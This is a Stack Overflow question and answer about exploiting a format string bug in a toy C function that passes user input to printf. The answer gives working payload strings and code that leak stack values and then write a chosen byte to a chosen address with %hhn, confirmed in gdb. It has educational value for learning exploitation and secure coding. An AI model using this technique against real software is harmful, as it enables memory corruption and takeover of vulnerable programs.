1

I want to write the integer 1 to the address 0x08049940 using the format string exploit (specifally the sprintf)

this is how the function looks like

void greet(char *s) {
   char buf[666];
   sprintf(buf, "Hello %s!\n", s);
   printf(buf);
}

I tried multiple tutorials but I believe they don't work because my string allready starts with "Hello ". So I tried to start writing lower using the input

%.1%n\x39\x99\x04\x08

which is 7 values lower, as well as other addresses in the neighbourhood of the original one. Yet my gdb debugger keeps telling me that the adress on 0x08049940 is still the default address specified in code.

Wouter Vandenputte
  • 1,948
  • 4
  • 26
  • 50
  • 1
    I'm not seeing how that's supposed to produce a format string attack. Such an attack ordinarily revolves around the program using user input as a *format string*. Even if we suppose that `"Hello %s!\n"` represents user input, such an attack also depends on the user-provided format string containing formatting directives that do not match the remaining actual arguments, which is not the case in your example. – John Bollinger Dec 12 '18 at 15:51
  • @4386427 it shouldn't overflow the buffer. It should write to a specific address – Wouter Vandenputte Dec 12 '18 at 15:53
  • @4386427 It can overflow if `s` (+`"Hello "`) is longer than `buf`. But it is definitely not a format sting attack but a stack overflow. – Eugene Sh. Dec 12 '18 at 15:54
  • Moreover, a format string attack on one of the `printf`-family functions is most easily used to *extract* data, not modify it. I really don't see at all how you expect to modify data at a particular address via anything like what you present. – John Bollinger Dec 12 '18 at 15:56
  • @4386427 Right, with the specific input it won't. If it is terminated by `\0` of course... – Eugene Sh. Dec 12 '18 at 15:57
  • @JohnBollinger A format string attack would use **`%n`** to write somewhere. That's how I rooted `/usr/bin/screen` in my previous life... – Antti Haapala -- Слава Україні Dec 12 '18 at 16:03
  • @AnttiHaapala Not necessarily. If the program has something like `printf(s)`, one can supply some crafted format string in `s`. – Eugene Sh. Dec 12 '18 at 16:11
  • Actually it is the case here. `s` might contain some format specifiers. Then `printf(buf)` - where `buff` is a non-sanitized format string – Eugene Sh. Dec 12 '18 at 16:12
  • @4386427 Yes. https://ideone.com/1kPEU3 – Eugene Sh. Dec 12 '18 at 16:15

1 Answers1

1

You wouldn't exploit the sprintf to have a format string attack, but the later printf call.

Exploiting this is rather easy if you can observe the output. Instead of going for exploit directly, you can craft a string with enough %p or %x until you see your desired bytes. For example this program works for me:

#include <stdio.h>

void greet(char *s) {
   char buf[666];
   sprintf(buf, "Hello %s!\n", s);
   printf(buf);
}

int main(void) {
    greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
          "%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}

I compile with gcc -m32 and run, the output is

Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!

Now that we see the 0x04030201, we can change the final %0#p to %hhn to write one byte to the address, or %hn for a short, or %n for int. This number is the count of characters written so far, converted to char, short or int.

When we know where in stack the address is, we can change each %p to %c and we know that it is going to consume exactly one character, giving better control over the resulting number.

We've got some slack with as in the beginning - this can be used to change the precision of one of the conversions there to change the number of character written easily as desired (for example if the resulting number is 123 too low, it can be extended by printing one character with 124 character field width: %124c); the addition of count there can be offset by removing 3 a's from the prompt.

Again this can be verified by using %0#p:

greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");

and we get:

Hello aaa                

���X0x565e46fc�la1%%%%%%%%%%%%0x4030201!

Finally we just replace %0#p with %hhn and there be magic.

To demonstrate that it really is writing to the address 0x04030201, you can use gdb to find out the address that caused the violation:

Program received signal SIGSEGV, Segmentation fault.
0xf7e216aa in vfprintf () from /lib32/libc.so.6
(gdb) p $_siginfo._sifields._sigfault.si_addr
$1 = (void *) 0x4030201

And the rest is left as an exercise to the reader...